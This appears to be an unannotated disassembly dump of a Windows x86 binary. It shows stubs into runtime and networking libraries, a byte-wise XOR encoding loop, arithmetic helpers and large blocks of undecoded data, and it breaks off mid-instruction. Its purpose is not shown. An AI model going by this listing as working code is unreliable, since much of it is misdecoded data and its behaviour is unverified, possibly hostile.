XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B9F+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403720+5j ... nop jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- align 10h byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o ; ___:0043F018o ... db 0E9h, 47h, 0E4h dd 4DE9777Fh, 0D9777E44h, 7F18F6E9h ; --------------------------------------------------------------------------- ja short near ptr byte_437AE8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- db 0BBh db 90h db 0E9h, 0B2h, 0FFh dd 0E9907780h, 7781017Ch, 1FBE990h byte_437AE8 db 81h, 77h ; CODE XREF: ___:00437AD0j ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... nop jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F1h, 99h ; --------------------------------------------------------------------------- jle short loc_437B6D mov eax, ecx mov dword ptr [eax], offset off_43F1D4 retn 4 ; --------------------------------------------------------------------------- loc_437B01: ; DATA XREF: ___:off_43F1D4o push esi mov esi, ecx call sub_437EBC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_437B17 push esi call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx loc_437B17: ; CODE XREF: ___:00437B0Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437B22 proc near ; CODE XREF: sub_409660+4Dp ; ___:0040AA7Dp nop jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Ch, 84h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A110+5p ; sub_410030+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- align 10h dd 80FAFBE9h, 0E990DE77h, 777E5424h db 90h ; --------------------------------------------------------------------------- loc_437B6D: ; CODE XREF: ___:00437AF4j jmp near ptr 77C3FA76h ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch, 487DE990h dd 3D83777Fh, 5109D4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch dd 68C35990h, 5109C4h, 5109D468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 79777FF5h, 0F5F9E990h ; --------------------------------------------------------------------------- jg short loc_437C51 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437BDA proc near ; CODE XREF: sub_4199C0+28p jmp near ptr 77C4FA10h sub_437BDA endp ; --------------------------------------------------------------------------- dec ebx ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: ___:00437BD8j ; sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- dd 808DE4E9h, 0E990C577h, 7780733Ch, 810188E9h, 0E9900C77h dd 77809196h, 809516E9h, 0E990E377h, 77809888h, 96AAE990h dd 44E97780h, 0AE77809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh dd 71ECE990h, 4E97780h, 7B778091h, 43ADE990h, 0E990777Fh dd 777E4845h, 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h dd 0FEE9777Eh, 8D77807Bh, 9B30E990h, 0E9907780h, 7780269Bh dd 25C1E990h, 0E9907780h, 778113C7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437D4C proc near ; CODE XREF: ___:0043297Cp jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- db 0A9h, 90h, 0E9h dd 777FF01Ch, 8E53E990h, 4C7780h, 31A36CDEh, 89DAFD86h dd 0FC4E98B9h, 2362517Bh, 0AC1E37D9h, 0AAFF8A4Ah, 7E5D08C6h dd 56536B1Dh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7E7436E8h dd 0D8B9077h, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2458174h dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 77801FDEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437EBC proc near ; CODE XREF: ___:00437B04p nop jmp near ptr 77C21868h sub_437EBC endp ; --------------------------------------------------------------------------- db 90h db 0E9h dword_437EC4 dd 777FCF89h, 1FCCE990h, 0DBE97780h, 0F5777FAEh, 7011E990h dd 88E9777Eh, 3977801Eh, 3000068h, 6800h, 25E80001h, 59000000h dd 7EE9C359h, 83778157h, 0C3C3C033h, 72A2E990h, 0E990777Eh dd 777E72D3h, 7FD46FE9h, 0E990E877h, 777FDD80h, 816F16E9h dd 0E9904E77h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h dd 7553E990h, 0F9E975C5h, 6775C684h, 0A029E990h, 9E975C4h dd 6F75C539h, 0F765E990h, 95E975C5h, 275C4DBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep nop jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23A8D76h, 3A8DCAE9h, 0E990E602h, 23B8098h, 3B84F5E9h dd 8DE9E602h, 0CF023C80h, 3D8087E9h, 0E990B802h, 23E8080h dd 3F807BE9h, 0E990E802h, 23F952Bh, 9665E990h, 0E990023Fh dd 23F9A07h, 9D4AE990h, 0E990023Fh, 240805Ch, 8761E990h dd 0E9900240h, 2408C2Dh, 804AE990h, 45E90241h, 0E6024280h dd 8378E990h, 0C6E90242h, 0C5024286h, 8032E990h, 0E9900243h dd 244802Ch, 9357E990h, 21E90244h, 6C024580h, 81AFE990h dd 0E9900245h, 2458972h, 8DEBE990h, 0E9900245h, 2468008h dd 8367E990h, 0E9900246h, 23A89C3h, 7FF6E990h, 0F1E9023Ah dd 0DE02397Fh, 3888A2E9h, 0E9907B02h, 2387FE4h, 7FDEE990h dd 0E9900237h, 23683DFh, 7FD2E990h, 0E9900236h, 2358AEEh dd 846BE990h, 0AE90235h, 6C023583h, 7FBAE990h, 0F1E9022Ch dd 37023582h, 829BE990h, 0E9900235h, 7C4C9095h, 8FA7E990h dd 0E9907C4Ch, 23580B8h, 7F96E990h, 0E9900235h, 23486F5h dd 7F8AE990h, 0E9900234h, 2338BDAh, 8B61E990h, 0E9900233h dd 2338930h, 87A8E990h, 24E90233h, 88023386h, 83E6E990h dd 1CE90233h, 0E023381h, 337F5BE9h, 0F7E99502h, 0B802328Bh dd 328884E9h, 0E6E9A102h, 76023287h, 3282F0E9h, 0E990B802h dd 23282C4h, 327F37E9h, 0FE95802h, 5802318Ah, 86AFE990h dd 0E9900231h, 23183ACh, 7F1EE990h, 0E9900231h, 2308719h dd 86DCE990h, 0E9900230h, 2308117h, 7F06E990h, 0E90230h dd 16022F8Ch, 8754E990h, 0E990022Fh, 22F8087h, 7EEEE990h dd 0E990022Fh, 22E8AE6h, 8720E990h, 2BE9022Eh, 0C2022E85h dd 7ED6E990h, 0D1E9022Eh, 88022D7Eh, 0E678E990h, 0C5E9001Bh dd 0A902477Eh, 8F9DE990h, 0E9900251h, 24D7EB8h, 7EB2E990h dd 0E9900251h, 2507EACh, 4F8C24E9h, 0E9900202h, 24F7EA0h dd 4E83C9E9h, 0E9902802h, 24E8131h, 4E7E8FE9h, 0B2E9B802h dd 0E3024D89h, 4D87F3E9h, 0E9907602h, 24D840Dh, 4782DDE9h dd 0E9906702h, 24C8AC6h, 86A8E990h, 0E990024Ch, 24C8378h dd 7E5EE990h, 0E990024Ch, 24B7E58h, 4A7E53E9h, 0E9904602h dd 2499B44h, 499777E9h, 0E9904B02h, 2499501h, 93EDE990h dd 35E90249h, 6202497Eh, 7E2EE990h, 39E90248h, 0E87C608Fh dd 0BD63E990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381DE proc near ; CODE XREF: ___:0042DBE1p jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- db 62h db 90h db 0E9h, 8Fh, 62h db 68h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p nop jmp near ptr 71AB2BF4h sub_4381EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp jmp near ptr 71AB615Ah sub_4381F0 endp ; --------------------------------------------------------------------------- db 0DEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... nop jmp near ptr 71AB428Ah sub_4381F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... jmp near ptr 71AB9639h sub_4381FC endp ; --------------------------------------------------------------------------- db 0E8h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438202 proc near nop jmp near ptr 71AC1028h sub_438202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 0Eh, 0E9h, 0ADh dd 557167A9h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438214 proc near jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- db 0E3h, 90h, 0E9h dd 7167A946h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438220 proc near ; CODE XREF: sub_42E870+187p nop jmp near ptr 71AB951Eh sub_438220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438226 proc near nop jmp near ptr 71AB3E00h sub_438226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43822C proc near ; CODE XREF: sub_42DB00+B1p nop jmp near ptr 71AB2B66h sub_43822C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p nop jmp near ptr 71AB3B91h sub_438232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438238 proc near nop jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167C1E4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438244 proc near ; CODE XREF: sub_42DA80+10p jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- db 0FAh, 90h, 0E9h dd 7167CE78h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438250 proc near ; CODE XREF: sub_434BA0+Bp jmp near ptr 71AB94DCh sub_438250 endp ; --------------------------------------------------------------------------- xchg eax, ebp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A9C0+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- dd 6888EFE9h, 0B2E97671h, 9A7167C2h, 67A953E9h, 9CE91371h dd 6F7167AAh, 0A9EFE990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43827A proc near nop jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- dd 6804E4E9h, 0E9908071h, 7167C1FDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p nop jmp near ptr 71ABE6EBh sub_43828C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap nop jmp near ptr 71AC0BDEh sub_438292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438298 proc near nop jmp near ptr 71AB2A5Eh sub_438298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp nop jmp near ptr 71B2578Ch sub_43829E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp nop jmp near ptr 71B25099h sub_4382A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382AA proc near ; CODE XREF: ___:00426390p nop jmp near ptr 71B2517Fh sub_4382AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B0 proc near ; CODE XREF: sub_420090+B4p nop jmp near ptr 76BF215Ah sub_4382B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp nop jmp near ptr 76BF1F1Ch sub_4382B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382BC proc near ; CODE XREF: sub_420090+21p jmp near ptr 76BF3A9Ah sub_4382BC endp ; --------------------------------------------------------------------------- db 0C0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p nop jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 80h, 0DFh dword_4382CC dd 52E97780h, 767780DEh, 80DE97E9h, 0E9909577h, 7780E040h dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403720 proc near ; DATA XREF: sub_403720+2o mov eax, offset dword_43F4C0 jmp sub_437AB8 SEH_403720 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C50 proc near ; DATA XREF: sub_403C50+2o mov eax, offset dword_43F700 jmp sub_437AB8 SEH_403C50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392B8: ; DATA XREF: ___:0043F75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o mov eax, offset dword_43F730 jmp sub_437AB8 SEH_403CE0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392E8: ; DATA XREF: ___:0043F794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D60 proc near ; DATA XREF: sub_403D60+2o mov eax, offset dword_43F768 jmp sub_437AB8 SEH_403D60 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o mov eax, offset dword_43F7A0 jmp sub_437AB8 SEH_403DE0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp 